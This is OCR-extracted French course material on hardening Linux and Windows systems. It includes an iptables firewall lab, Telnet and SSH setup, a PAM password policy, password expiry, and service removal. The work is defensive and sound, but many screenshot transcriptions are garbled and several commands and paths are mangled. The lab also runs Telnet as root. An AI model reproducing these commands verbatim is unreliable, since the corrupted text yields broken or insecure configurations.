C. La machine virtuelle peut se connecter a des serveurs Web a I'aide de connexions HTTP sécurisées, a |'exception du site webwww.facebook.com.

* Utilisez la commande nslookup www.facebook.com pour déterminer |'adresse IP du site Web

D. Toutes les connexions TCP de I'h6te principal vers la machine Ubuntu sont possibles, a I'exception des connexions Telnet.
* Travail demandé : Vous étes chargées de :

1. Changer la politique par défaut de iptables a DROP ;

2. Implémenter la stratégie définie ci-dessus ;

3. Effectuer des tests de vérification pour vérifier I'efficacité de la configuration effectuée ;
4. Enregistrer la configuration effectuée ;
5

Supprimer la configuration effectuée.

o
—
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Correction /]

Etape 1 : Préparation de ’environnement de travail

* Pour installer le client Telnet dans la machine hote (qui est une machine Windows), il suffit de suivre les étapes suivantes :

1. Accédez a Programmes et fonctionnalités et sélectionnez Activer ou désactiver des fonctionnalités Windows.

\I Programmes et fonctionnalités
[;I Désinstaller un programme Qﬁ'\ctiver ou désactiver des fonctionnalités Windows
Afficher les mises a jour installées

Exécuter des programmes congus pour des versions précédentes de Windows
Comment installer un programme

1. Une fenétre intitulé Fonctionnalités de Windows s’affiche, sélectionnez alors Client Telnet.

2. C|iquez ensuite sur OK. Fenctionnalités de Windows - O X

Activer ou désactiver des fonctionnalités Windows @

Pour activer une fonctionnalité, activez la case a cocher correspondante,
Pour désactiver une fonctionnalité, désactivez la case & cocher
correspondante. Une case 3 cocher pleine signifie qu'une partie de la
fonctionnalité est activée.

®] | .METFramework 3.5 {inclut NET 2.0 et 3.0) ~
®] | .METFramework 4.8 Advanced Services

Bac 4 sable Windows

Client Dossiers de travail

Client TFTP

Composants hérités

®
OOoddrEE-

Conteneurs

o
—
-
<
o

Data Center Bridging W

-~

>

| 0K | | Annuler
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Pour installer le serveur Telnet dans la machine virtuelle Ubuntu, il suffit de suivre les étapes suivantes :

1. Installez les services xinetd et telnetd en exécutant la commande suivante :
sudo apt-get install xinetd telnetd

2. Créez ensuite le fichier /etc/xinetd.d/telnet en utilisant la commande :
sudo nano /etc/xinetd.d/telnet

3. Ajoutez dans ce fichier les lignes suivantes :

service telnet

{

disable = no

flags = REUSE
socket_type = stream
wait = no

user = root

server = fusr/sbin/in.telnetd
log_on_failure += USERID

}

: S sudo apt-get install xinetd telnetd

Reading package lists... Done
Bullding dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:

telnetd xinetd
® upgraded, 2 newly installed, © to remove and 180 not upgraded.
Need to get 147 kB of archilves.
After this operation, 428 kB of additional disk space will be used.
Get:1 http://us.archive.ubuntu.com/ubuntu impish/universe amd64 xinetd amd64 1:
2.3.15.3-1 [108 kB]
Get:2 http://us.archive.ubuntu.com/ubuntu impish/universe amd64 telnetd amd64 ©
.17-42 [39.1 kB]
Fetched 147 kB in 6s (24.0 kB/s)
Selecting previously unselected package xinetd.
(Reading database ... 147586 flles and directories currently installed.)
Preparing to unpack .../xinetd_1%332.3.15.3-1_amd64.deb ...

GHNU nano 5.6.1
service telnet

feto/sinetd.d/telnet

[
dizable no

Tlags = REUSE

log on_failure += USERID

1
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4. Redémarrez ensuite le service xinetd en tapant la commande : sudo systemctl restart xinetd.service

: S sudo nano /etc/xinetd.d/telnet

: $ sudo systemctl restart xinetd.service

EBFORCE

pE THE CHAMGE

5. Testez le bon fonctionnement du serveur Telnet installé, en essayant de vous connecter en utilisant Telnet depuis la machine héte vers la machine virtuelle Ubuntu. Cela
est possible en tapant dans l'invite de commande Windows la commande Telnet @IP ou @IP représente I'adresse IP de la machine virtuelle Ubuntu (192.168.0.162)

C:\Users\HP>telnet 192.168.0.162

21.10 (GNU/Linux 5.13.8-35-generic x86

‘help.ubuntu.com
andscape.canonical.com
ubuntu.com/advantage

updates can be a

see these addi

3

in the

Ubuntu comes with ABSOLUTELY MO WARRAWTY, to the extent permitted by
applicable law.

osboxesfosb



Pour installer Netstat, il suffit de taper la commande suivante : sudo apt install net-tools

:-$ sudo apt install net-tools
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following MEW packages will be installed:
net-tools
® upgraded, 1 newly installed, ® to remove and 188 not upgraded.
Need to get 193 kB of archives.
After this operation, 860 kB of additional disk space will be used.

Get:1 http://us.archive.ubuntu.com/ubuntu impish/main amd64 net-tools amd64 1.6

0+git20181103.0eebece-1ubuntu2 [193 kB]

Fetched 193 kB in 2s (119 kB/s)

Selecting previously unselected package net-tools.

(Reading database ... 147634 files and directories currently installed.)

Preparing to unpack .../net-tools 1.60+git20181103.0eebece-1ubuntu2_ amd64.deb .

Unpacking net-tools (1.60+git20181103.0eebece-1ubuntu2)
Setting up net-tools (1.60+git20181103.0eebece-1ubuntu2)
Processing triggers for man-db (2.9.4-2)

[ B HHE R R R R TR R R R R R

Pour tester le bon fonctionnement du netstat, il suffit de taper la commande : sudo netstat

Pour vérifier que le service Telnet est actif sur le port 23, il suffit de taper la commande : sudo netstat -tan

S sudo netstat -tan

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State

0 127.0.0.53:53 LISTEN
0.0.1:6 :

LISTEN

0O
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Etape 1 : Préparation de 'environnement de travail

* Pour installer le serveur ssh, il suffit de taper la commande suivante : sudo apt install openssh-server
apt install openssh-server
[ro
ver ssh-import-id
L]

Pour tester le bon fonctionnement du serveur SSH installé, il suffit d’essayer de se connecter en utilisant SSH depuis la machine hote vers la machine virtuelle Ubuntu.
Cela est possible en utilisant I'outil Putty.

B PUTTY Conliguration x
Famgoy.
Sammmz Bamy= oo for o PuTTY semmn
| L Lapging . T - -
— Spaalty 1 destination pou wam i gonved I
g Fos: Fare 27 IF e ot
[ Toa 52 1eE3 151 =
Fastursm Comrecionbee
B WAndaa TiBan (D1 Tuhed )R ®E554  [DiZae
[} m::‘r—' o, sawe o celele 2 s pemion
N Trera s Sased Seamang
Sadwciaon
| L
Ll _l ke [TE Load
o
——
|- Tiwa ELEY
h Prosy
z Tokrnat Depie
| Hzgin
< 5:H
m el Tome wandow on e
DoAwwT U hever R Dnkoon cess sd
el Cane
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* Pour installer Lynx, il suffit de taper la commande suivante : sudo apt install Lynx. apt dnstall Lynx

Done

informa
additional

0 to remove and 58 not upgraded.
al disk space will be used.
impishfuniverse amd64 Lynx-common all 2.9.
impish/universe amdsd 1y

* Pour tester Lynyx, il suffit de taper la commande : sudo lynx www.google.com.

. . (s L . . . . . osbones@osbones: ~
* Le résultat obtenu démontre que lynx a été bien installé puisqu’il a pu afficher

I'interface www.google.com



http://www.google.com/

Pour changer la politique par défaut de iptables a DROP, il suffit de taper
les commandes suivantes :

* sudo iptables -P INPUT DROP
* sudo iptables -P OUTPUT DROP
* sudo iptables -P FORWARD DROP

Pour vérifier le changement de la stratégie par défaut de ACCEPT a DROP,
il suffit d’exécuter la commande : sudo iptable —L

La figure ci-contre illustre les résultats d’exécution des commandes
précédentes.

sudo iptab
ACCEPT)
prot opt source

Chain INPUT (policy
target

Chain FORWARD (policy ACCEPT)
target prot opt source

Chain OUTPUT (policy ACCEPT)
target prot opt source
$ sudo iptables
S sudo iptables
S sudo iptables
S sudo iptables
Chain INPUT (policy DROP)
target prot opt source

Chain FORWARD (policy DROP)
target prot opt source

Chain OUTPUT (policy DROP)

target prot opt source

O
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destination
destination

destination
-P INPUT DROP
-P FORWARD DROP
-P OUTPUT DROP
-L

destination

destination

destination
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Etape 2 : Configuration du pare-feu iptables

* La premiére condition (A) de la stratégie définie est la suivante :

A. La machine Ubuntu doit étre capable d'envoyer des paquet ICMP de type echo-request et de recevoir des paquets ICMP de type echo-reply (un tel message
doit étre journalisé, tout en laissant iptables préfixer les messages de journal avec la chaine "echo reply received").

* Pour implémenter une telle condition, il suffit de taper les commandes suivantes dans l'ordre donné :
* sudo iptables -A INPUT -p icmp --icmp-type echo-reply -j LOG --log-prefix "echo reply received "
» Cette ligne de commande permet de journaliser les requétes ICMP de type echo-reply avec un préfix "echo reply received".
* sudo iptables -A INPUT -p icmp -m state --state established -j ACCEPT
» Cette ligne de commande permet d’accepter les paquets ICMP faisant partie d'une connexion déja établie.
* sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
» Cette ligne de commande permet d’accepter la sortie des paquets ICMP de type echo-request.

* La figure ci-dessous illustre I'exécution des commandes précédentes :

$ sudo iptables -A INPUT -p icmp --icmp-type echo-reply -j LOG --log-prefix "ec
ho reply received"

$ sudo iptables -A INPUT -p icmp -m state --state established -j ACCEPT

$ sudo iptables -A OUTPUT -p icmp --icmp-type echo-request - ACCEPT
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* Pour vérifier I'efficacité de la configuration effectuée, il suffit de :
* Lister les regles configurées dans le pare-feu ;
e Tester un ping sortant de la machine Ubuntu vers n’importe quel adresse IP ;
* Vérifier la journalisation des requétes ICMP de type echo-reply avec le préfix défini "echo reply received« ;

* Les résultats illustrés dans les deux figures ci-dessous illustrent que la configuration effectuée répond exactement aux exigences demandées dans la

stratégie de sécurité :

sudo iptables -L : S sudo tail -f /var/log/syslog

] Mar 15 28:23:48 osboxes systemd[1]: Started Network Manager Script Dispatcher Service.

Mar 15 206:23:408 osboxes whoopsie[761): [20:23:408] Cannot reach: https://daisy.ubuntu.com

Mar 15 20:23:49 osboxes systemd[1]: NetworkManager-dispatcher.service: Deactivated successfully.
Mar 15 26:24:10 osboxes systemd-resolved[560]: Grace period over, resuming full feature set (UDP
+EDNS@) for DNS server 192,168.8.1.

Mar 15 26:25:41 osboxes kernel: [ 779.608735]|echo reply receivedIN=enp@s3 0UT= MAC=08:00:27:36
:85:0b:d8:dB:66:41:b5:15:08:00 SRC=192.168.0.1 D : .0, d =03 PREC=0x00 TTL=6
4 1D=21835 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=1

Mar 15 20:25:42 osboxes kernel: [ 780.517659) ] MAC=08:00:27:36
:85:0b:d8:d8:66:41:b5:75:08:80 SRC=192.168.0.1 D : : PREC=0x00 TTL=6
4 1D=21836 PROTO=ICMP TYPE=0 CODE=8 ID=5 SEQ=2

Mar 15 20:25:43 osboxes kernel: [ 781.518729] IN=enpBs3 OUT= MAC=08:00:27:36
:85:0b:018:08:66:41:b5:75:08:00 SRC=192,168.0.1 DST= L1680, EN=84 T0S=0x00 PREC=0x00 TTL=6
4 1D=21837 PROTO=ICMP TYPE=0 CODE=8 ID=5 SEQ=3

Mar 15 28:25:44 osboxes kernel: [ 782.520995] N=enpOs3 OUT= MAC=08:00:27:3

:85:0b:dB8:dB:66:41:b5:f5:08:00 SR(=192.168.0.1 : e N=84 T0S=0xB8 PREC=0x00 TTL=6
4 1D=21838 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=4

Mar 15 20:25:45 osboxes kernel: [ 783.523846] echo reply receivedIN=enp@s3 0UT= MAC=08:00:27:36
:85:0b:c8:d8:66:41:b5:15:08:00 SRC=192.168.0.1 DST=192.168.0.162 LEN=84 T05=0x08 PREC=0x00 TTL=6
4 10=21839 PROTO=ICMP TYPE=0 CODE=0 ID=5 SEQ=5

Mar 15 20:25:46 osboxes kernel: [ 784.525929] echo reply receivedIN=enp@s3 OUT= MAC=08:00:27:36
:85:0b:08:08:66:41:b5:75:68:00 SRC=192.168.0.1 DST=192.168.0.162 LEN=84 T05=0x60 PREC=0x00 TTL=6
4 1D=21840 PROTO=ICMP TYPE=0 CODE=8 ID=5 SEQ=6

destination
anywhere icmp echo-reply LOG level warning

anywhere ctate ESTABLISHED

target opt S0 . destination

Chain OUTPUT
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* La deuxieme condition (B) de la stratégie définie est la suivante :
B. La machine Ubuntu doit étre capable de générer des messages ICMP "destination-unreachable"
* Pour implémenter une telle condition, il suffit de taper la commande suivante : sudo iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j ACCEPT

* Lafigure ci-dessous illustre le résultat de I'exécution de la commande précédente :

:$ sudo iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
:-$ sudo iptables -L
Chain INPUT (policy DROP)
target prot opt source destination
LOG icmp -- anywhere anywhere icmp echo-reply LOG level warning
prefix "echo reply received"
ACCEPT icmp -- anywhere anywhere state ESTABLISHED

Chain FORWARD (policy DROP)
target prot opt source destination

Chain OUTPUT (policy DROP)

target prot opt source destination

ACCEPT icmp -- anywhere anywhere icmp echo-request

ACCEPT icmp -- anywhere anywhere icmp destination-unreachable
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* Latroisieme condition (C) de la stratégie définie est la suivante :

C. La machine virtuelle peut se connecter a des serveurs Web a I'aide de connexions HTTP sécurisées, a |'exception du site web www.facebook.com.

* Pour identifier I'adresse IP du site web www.facebook.com, il suffit de taper la commande : nslookup www.facebook.com.

Reponse ne falsant pas autorite :
MNom star-mini.cler.faceb com
Addresses: 23 :f1e@:82: face:beec:8:25de

31.13
Aliases: www.Tacebook.com

* Pour implémenter la condition (C), il suffit de taper les commandes suivantes dans l'ordre donné :
* sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
* sudo iptables -A OUTPUT -p udp -j ACCEPT
* sudo iptables -A OUTPUT -d 31.13.69.35 -p tcp --dport 443 -j DROP
* sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
* sudo iptables -A INPUT -p tcp -m state --state established -j ACCEPT
* sudo iptables -A INPUT -p udp -j ACCEPT
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Les figures ci-dessous illustrent I'exécution des commandes précédentes et la configuration obtenue du pare-feu iptables :

. sudo iptables -A OUTPUT tcp --dport 86 -j ACCEPT :-$ sudo iptables -L

sudo iptables -A OUTPUT udp -j ACCEPT Chain INPUT (policy DROP)
sudo iptables -A OUTPUT -d 31.13.69.35 -p tcp --dport 443 -j target pfl'ﬂ't Upt ':-I]HFI::F! destination

sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT LOG cmp - - "gru';,-"frhere _ anywhere icmp echo-reply LO
:-$ sudo iptables -L G level warning prefix “echo reply received"
Chain INPUT (policy DROP) ACCEPT icmp -- anywhere anywhere state ESTABLISHED
Sl prot opt source destination ACCEPT udp -- anywhere anywhere

L el oo BRI IS icmp echo-reply LO MACCEPT  tcp -- anywhere anywhere state ESTABLISHED
G level warning prefix "echo reply received" ’

ACCEPT iemp -- anywhere anywhere state ESTABLISHED

DROP

Chain FORWARD (policy DROP)
Chain FORWARD (policy DROP) target prot opt source destination
target prot opt source destination
Chain OUTPUT (policy DROP) Chain OUTPUT (policy DROP)
3 {pollicy . et :
target prot opt source destination t?rget Pfﬂt opt %ﬂHrEE ?e;tlnatlan . .
ACCEPT icmp --  anywhere anywhere icmp echo-request [JACCEPT icmp --  anywhere anywhere icmp echo-request
ACCEPT icmp -- anywhere anywhere icmp destination-u JACCEPT icmp --  anywhere anywhere icmp destination-u
nreachable nreachable
ACCEFT tep -- anywhere anywhere tep dpt:http ACCEPT tep --  anywhere anywhere tcp dpt:http
SEEET S =s Bl RINICEE ACCEPT udp -- anywhere anywhere
: : DROP tep --  anywhere edge-star-mini-shv-81-pmol. facebook.com
:$ sudo iptables -A INPUT -p udp -j ACCEPT tcp dpt:https
' ACCEPT tep -- anywhere anywhere tcp dpt:https

:-$ sudo 1iptables -A INPUT -p tcp -m state --state established -

j ACCEPT
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* Pour vérifier l'efficacité de la configuration effectuée, il suffit d’ouvrir n’importe quel site web (a I'exception du site web www.facebook.com) en utilisant I'outil lynx

* La figure ci-dessous illustre le résultat de I'exécution de la commande sudo lynx www.google.com. Le résultat illustré montre qu’il est possible d’avoir acces au site lynx
www.google.com depuis la machine Ubuntu

osboxes@osboxes: ~
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Etape 2 : Configuration du pare-feu iptables

* Laderniére condition (D) de la stratégie définie est la suivante :

D. Toutes les connexions TCP de I'h6te principal vers la machine Ubuntu sont possibles, a I'exception des connexions Telnet.
* Pour implémenter une telle condition, il suffit de taper les commandes suivantes dans I'ordre donné :

* sudo iptables -A INPUT -p tcp --dport 23 -j DROP

» Cette ligne de commande permet d’'empécher toute connexion Telnet (sur le port 23) vers la machine Ubuntu.

* sudo iptables -A INPUT -p tcp -j ACCEPT

» Cette ligne de commande permet d’accepter toute connexion TCP vers la machine Ubuntu.

* sudo iptables -A OUTPUT -p tcp -m state --state established -j ACCEPT

» Cette ligne de commande permet d’accepter les paquets TCP faisant partie d'une connexion déja établie. Cette ligne est essentielle puisqu’elle donne la
possibilité a la machine Ubuntu de répondre aux requétes TCP faisant partie d’'une connexion établie.
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Les figures ci-dessous illustrent I'exécution des commandes précédentes et la configuration obtenue du pare-feu iptables

sudo iptables -A INPUT -p tcp --dport 23 -j DROP
cudo iptables -A INPUT -p tcp -j ACCEPT

o

sudo iptables -L

: % sudo iptables -A OUTPUT -p tep -m state --state established
-] ACCEPT
;% sudo iptables -L
Chain INPUT (policy DROP)
destination

G level warning prefix
ACCEPT icmp -- an
ACCEPT udp anywhere
ACCEPT tcp anywhere
DROP tcp anywhere
ACCEPT tcp anywhere

Chain FORWARD (policy DROP)
target prot opt source

Chain OUTPUT (policy DROP)
target prot opt source
ACCEPT icmp -- anywhere
ACCEPT icmp -- anywhere
nreachable
ACCEPT tcp --
ACCEPT udp --
DROP tcp -
tcp dpt:https
ACCEPT tep

anywhere
anywhere
anywhere

anywhere

destination
anywhere
reply received'
anywhere
anywhere
anywhere
anywhere
anywhere

icmp echo-reply LO
state ESTAELISHED

state ESTABLISHED
tcp dpt:telnet

destination

destination
anywhere
anywhere

icmp echo-request
icmp destination-u

anywhere
anywhere
edge-star-mini-shv-81-pmol. facebook.com

tcp dpt:http

anywhere tep dpt:https

target prot
LOG icmp
G level warning
ACCEPT icmp
ACCEPT udp
ACCEPT tcp
DROP tcp
ACCEPT tep

opt source

prefix "echo
-- anywhere

anywhere anywhere
reply received"
anywhere
anywhere anywhere
anywhere anywhere
anywhere anywhere
anywhera anywhere

Chain FORWARD (policy DROP)

target

prot opt source

destination

Chain OUTPUT (policy DROP)

target
ACCEPT
ACCEPT
nreachable
ACCEPT
ACCEPT udp
DROP tep
cp dpt:https
ACCEPT tcp
ACCEPT tcp

icmp
icmp

tcp

prot opt source
-- anywhere

destination
anywhere

anywhere anywhere
anywhere
anywhere
anywhere

anywhere
anywhere

anywhere
anywhere

anywhere
anywhere

icmp echo-reply LO
state ESTABLISHED

state ESTABLISHED
tcp dpt:telnet

icmp echo-request
icmp destination-u

tcp dpt:http

tcp dpt:https
state ESTABLISHED

RCE .
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Correction

Etape 2 : Configuration du pare-feu iptables

* Pour vérifier I'efficacité de la configuration effectuée, il suffit de :

* Tester d’établir une connexion SSH avec la machine Ubuntu. Les figures ci-dessous démontrent qu’il est possible d’établir une connexion SSH.

B PuTTV Configuration ¢ Ef osboxes@osboxes: ~ — O *
ategory:
(= Session Basic options for your PuTTY session
& Ten I__oglging Specify the destination you want to connect to
Tmlé;:board Host Name (or IF address) Port
. Bell [152.168.0.163 |[22 |
- Features Connection type:
= Window (O Raw (O Telnet (O Rlogin @ SSH () Serial
----P‘ppea.rance Load, save or delete a stored session
- Behaviour
... Translation Saved Sessions
- Selection | |
- Colours -
Default Settings
(=) Connection LiTh
.. Data Save
- Promy
- Telnet Delete
- Rlogin
[#- S5H
- Seial Close window on exit:
(O Mways () Mever  (®) Only on clean exit

* Essayez d’établir une connexion Telnet avec la machine Ubuntu. La figure ci-dessous démontre qu’il est impossible d’établir une connexion Telnet :

N
—
-
<
o.

Conn A, . ssible d'ouvrir une connexion a 1*héte, sur le port 23: Echec lors de

la conhexion
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SECURISER LES SYSTEMES LINUX

Compétences visées :

* Appliquer les bonnes pratiques et la configuration des outils
nécessaires pour sécuriser un systeme d’exploitation

Recommandations clés :

* Maitriser les bonnes pratiques de sécurisation d’un systeme
d’exploitation Linux

3 heures
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Pour le formateur

Lapprenant doit étre capable d’appliquer les configurations et les bonnes pratiques
de sécurisation d'un systéme d’exploitation Linux en partant des stratégies de
sécurité définies dans un énoncé.

Pour I'apprenant

Il est recommandée de maitriser les bonnes pratiques de sécurisation d’un systéme
d’exploitation Linux

Il est également recommandé de suivre les étapes décrites dans I'énoncé

Conditions de réalisation :

VirtualBox installé

Une machine Virtuelle Ubuntu

Criteres de réussite :

Désactiver avec succes les services inutiles

Définir avec succes une stratégie des mots de passes utilisateurs
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Sécuriser les systemes Linux

* L'objectif de cette activité est d’appliquer un ensemble de bonnes pratiques de configuration permettant de durcir un systéeme d’exploitation Linux afin d’éliminer de
nombreuses surfaces d'attaques.

* Pour ce faire, les mesures de sécurité a appliquer dans cette activité sont comme suit :

1. Désactiver les services inutiles :

* Lister les services actives en utilisant la commande : Isof —i ;

* Désactiver les services inutiles en utilisant la commande : apt-get remove <nom-service>.

2. Définir un modele de sécurité des mots de passe utilisateurs

* Ajouter un utilisateur Userl et lui attribuer un mot de passe, en tapant les commandes suivantes :

¢ sudo adduser userl

* sudo passwd userl

o
—
-
<
o
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Sécuriser les systemes Linux

* Modifier le fichier /etc/pam.d/common-password pour configurer les stratégies de mot de passe en utilisant les parameétres suivants :

retry: Nombre de fois consécutives qu'un utilisateur peut entrer un mot de passe incorrect.. Choisir 4 comme valeur.
minlen: Longueur minimale du mot de passe. Choisir 9 comme valeur.

Icredit: Nombre minimal de lettres minuscules. Choisir 2 comme valeur

ucredit: Nombre minimal de lettres majuscules. Choisir 2 comme valeur

ocredit: Nombre minimal de symboles. Choisir 1 comme valeur

* Modifier le mot de passe de 'utilisateur userl pour tester la nouvelle configuration

2. Définir une période d’expiration d’un mot de passe

* Modifier le fichier /etc/login.defs pour définir la période d’expiration d’un mot de passe comme suit :

o
—
-
<
o

PASS_MAX_DAYS 120 = Nombre de jours maximum de validité d’'un mot de passe est 120 jours
PASS_MIN_DAYS 0 = Nombre de jours minimal pour changer un mot de passe est 0 jours

PASS_WARN_AGE 8 - Nombre de jours avant I'expiration pour alerter les utilisateur est 8 jours

» Vérifier si la période d’expiration définie est appliquée a l'utilisateur userl en exécutant la commande sudo chage -l userl
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Sécuriser les systemes Linux

e Utiliser les commandes suivantes pour définir la période d expiration définie précédemment pour userl :
* sudo chage -M 120 userl
* sudo chage -m 0 userl
* sudo chage -W 8 userl

* Vérifier de nouveau la période d’expiration définie pour I'utilisateur userl en exécutant la commande sudo chage -l userl

N
—
-
<
o
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Pour lister les services actifs dans un systéme Linux, exécutez la commande sudo Isof-i :

S sudo lsof -1i
COMMAND USER DEVICE SIZE/OFF NAME
systemd-r stemd-resolve 17376 ote localhost:domain
systemd-r stemd-resolve 17377 ate localhost:domain (LISTEN)
avahi-dae avahi 18334 0te *:mdns
avahi-dae avahi 18335 atoe *:mdns

avahi-dae avahi 18336 ote *¥:59135

avahi-dae avahi 18337 ote *:54072

NetworkMa root 18780 ote osboxes:bootpc-> gateway:bootps
cupsd root 18882 ate ip6-localhost:ipp (LISTEN)
cupsd root 18883 nte localhost:ipp (LISTEN)
cups-brow root 18999 oto *:631

D’apres le résultat affiché dans la figure ci-dessus, nous pouvons remarquer la présence du service avahi-daemon qui pourra étre désinstallé ou désactivé.



Pour désinstaller le service avahi-daemon, exécutez la commande sudo apt-get
remove avahi-daemon

:$ sudo apt-get remove avahi-daemon
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

The following packages were automatically installed and are no longer required:

libavahi-core7? libreoffice-ogltrans
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
avahi-daemon avahi-utils ipp-usb libnss-mdns
® upgraded, ® newly installed, 4 to remove and 167 not upgraded.

After this operation, 6 225 kB disk space will be freed.

Do you want to continue? [Y/n] y

(Reading database ... 155378 files and directories currently installed.)
Removing libnss-mdns:amd64 (©.14.1-2build1)

Removing avahi-utils (@.8-5ubuntu4)

Removing ipp-usb (©.9.19-2ubuntul)

Removing avahi-daemon (©.8-5ubuntu4)

Created symlink /run/systemd/system/avahi-daemon.service — /dev/null.
Removed frun/systemd/systemfavahi-daemon.service.

Processing triggers for man-db (2.9.4-2)

Processing triggers for dbus (1.12.20-2ubuntu2)

Processing triggers for libc-bin (2.34-8ubuntu3)

0O
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Listez de nouveau les services actifs en exécutant la commande sudo Isof -i

DEVICE S5IZ

FF HODE NAME
UDP
TCP
UDP o
1
TP
UDP
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Ces figures illustrent lI'ajout d’'un nouveau utilisateur userl et le test d’utilisation de cet utilisateur

$ sudo adduser userl
Adding user “userl’
Adding new group “userl' (1001)
Adding new user “userl' (1001) with group “userl’
The home directory " /home/userl' already exists. Not copying from " /etc/skel'.
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: password updated successtully
Changing the user information for userl " I
Enter the new value, or press ENTER for the default T
Full Name []: userl
Room Number []1: 1
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] ¥y

sudo su userl
$ exit




* Pour éditer le fichier fichier /etc/pam.d/common-password, il suffit d’exécuter la commande sudo nano fichier /etc/pam.d/common-password

$ sudo nano /etc/pam.d/common-password

La figure ci-dessous illustre la configuration par défaut du fichier /etc/pam.d/common-password

GNU nano 5.6.1

password
password
password

password

password

password

/etc/pam.d/common-password

requisite pam_pwquality.so retry=3D
[success=2 default=ignore] pam_unix.so obscure use_authtokﬁ
sufficient pam_sss.so use authtok

requisite pam_deny.so

required pam_permit.so

optional pam_gnome Keyring.so

0
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La figure ci-dessous illustre la nouvelle configuration du fichier /etc/pam.d/common-password qui répond a la stratégie définie dans I'énoncé :

password €55 € g pam_uUnix.so obscure use au

password sufficient pam_ so use_authtok

password requisite pam_deny.so

Cette figure illustre la modification du mot de passe de 'utilisateur userl. Le résultat illustré montre que la nouvelle configuration est bien appliqué

S sudo passwd
New password:
BAD PASSWORD: The password contains less than 2 uppercase letters
Retype new password:
Sorry, passwords do not match.
New password:
BAD PASSWORD: The password contains less than 2 lowercase letters
Retype new password:
Sorry, passwords do not match.
New password:
BAD PASSWORD: The password contains less than 1 non-alphanumeric characters
Retype new password:
sorry, passwords do not match.
New password:
BAD PASSWORD: The password is shorter than 9 characters
Retype new password:
Sorry, passwords do not match.
passwd: Have exhausted maximum number of retries for service
passwd: password unchanged




La figure ci-dessous illustre la configuration par défaut du fichier /etc/login.defs

PASS_MAX_DAYS
_MIN_DAYS
_WARN_AGE

La figure ci-dessous illustre la nouvelle configuration du fichier /etc/login.defs qui répond aux exigences de I'énoncé

SS_MAX_DAYS

A
ASS_MIN_DAYS
ASS_WARN_AGE

0O
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En exécutant la commande sudo chage -l userl, nous pouvons remarquer que la configuration définie précédemment n’est pas applicable pour les anciens utilisateurs.

:~S sudo chage -1 useril
Last password change
Password expires
Password inactive

Account expires

Minimum number of days between password change
Maximum number of days between password change
Mumber of days of warning before password expires

Lapplication de la configuration d’une période d’expiration d’un mot de passe a un ancien utilisateur en utilisant la commande chage

sudo -M 120 useril
sudo -m @ userl
sudo -W 8 useril
sudo -1 useril
Last password change

Password expires

4L 47 L0 40

mars 26, 2022
juil. 24, 2822
never

never

Password inactive

Account expires

Minimum number of days between password change 0

Maximum number of days between password change 1268

Number of days of warning before password expires 8
1~$
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SECURISER LES SYSTEMES WINDOWS

Compétences visées :

* Appliquer les bonnes pratiques et la configuration des outils
nécessaires pour sécuriser un systeme d’exploitation

Recommandations clés :

* Maitriser les bonnes pratiques de sécurisation d’un systeme
d’exploitation Windows
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Pour le formateur

Lapprenant doit étre capable d’appliquer les configurations et les bonnes pratiques
de sécurisation d’un systeme d’exploitation Windows en partant des stratégies de
sécurité définies dans un énoncé.

Pour I'apprenant

Il est recommandée de maitriser les bonnes pratiques de sécurisation d’un systéme
d’exploitation Windows

Il est également recommandée de suivre les étapes décrites dans I'énoncé

Conditions de réalisation :

VirtualBox installé

Une machine virtuelle Windows. Un fichier ISO d’installation de Windows 10 pourra
étre téléchargé a partir du lien suivant : https://tb.rg-
adguard.net/dl.php?go=7119d4be

Criteres de réussite :

Configurer avec succes les stratégies de sécurité définies dans I'énoncé de l'activité


https://tb.rg-adguard.net/dl.php?go=7119d4be

Activité 4 O:Fm: wEBFTQEHgE :
Sécuriser les systemes Windows )l AR fr

Introduction

* L'objectif de cette activité est d’appliquer un ensemble de bonnes pratiques de configuration permettant de durcir un systeme d’exploitation Windows afin d’éliminer de
nombreuses surfaces d'attaques.

* Pour ce faire, les mesures de sécurité a appliquer dans cette activité sont comme suit :

1. Désactiver les services inutiles et renforcer le niveau de sécurité des services existants ;
2. Limiter les connexions réseau ;

3. Limiter les risques liés a l'usage de médias amovibles ;

4. Définir un modele de sécurité pour les comptes systeme ;

5. Définir une stratégie d’audit ;

6. Exécuter la restauration du systeme et créez un point de restauration ;

7. Configurer des régles de sécurité pour le pare-feu Windows.

o
—
-
<
o
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

* Lobjectif de cette étape est de désactiver les services qui sont inutiles pour le fonctionnement du systeme. Cela permet de réduire efficacement la surface d’attaque.

* Pour afficher la liste des services activés dans un systeme Windows, il suffit de lancer services.msc (taper services.msc dans la barre de recherche Windows). Une
interface affichant les différents services ainsi que leurs états (désactivés, lancés manuellement ou automatiquement).

* En parcourant la liste des services affichez dans cette interface, désactivez ceux qui ne sont pas utiles.
* Exemples de services inutiles qui doivent étre désactivés :

* Téléphonie

* Télécopie

* (Carte a puce

* Service de prise en charge Bluetooth

* Spouleur d’'impression

* Service initiateur iSCSI Microsoft

* Partage de connexion Internet

* Routage et acces distant

o
—
-
<
o

* Travail demandez : Essayez au moins de désactivez les services inutiles cités précédemment..
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

* Certaines services ne peuvent pas étre désactivé. Il est possible de renforcer leurs niveaux de sécurité au

travers de la pOIitique locale du pOSte- Propriétés de: Sécurité réseau : niveau d'authentification ... 7 x
* Dans cette activité, vous étes chargés de renforcer la sécurité de l'authentification a distance. Pour ce Paramétre de sécurité locale  Expliquer
faire :
Sécurté réseau : niveau d authentification LAN Manager ~

* Lancez gpedit.msc (tapez gpedit.msc dans la barre de recherche Windows) i ; ; el |
& paramétre de sécurité détemine quel est le protocole
d'authertffication de stimulation/réponse des ouvertures de |

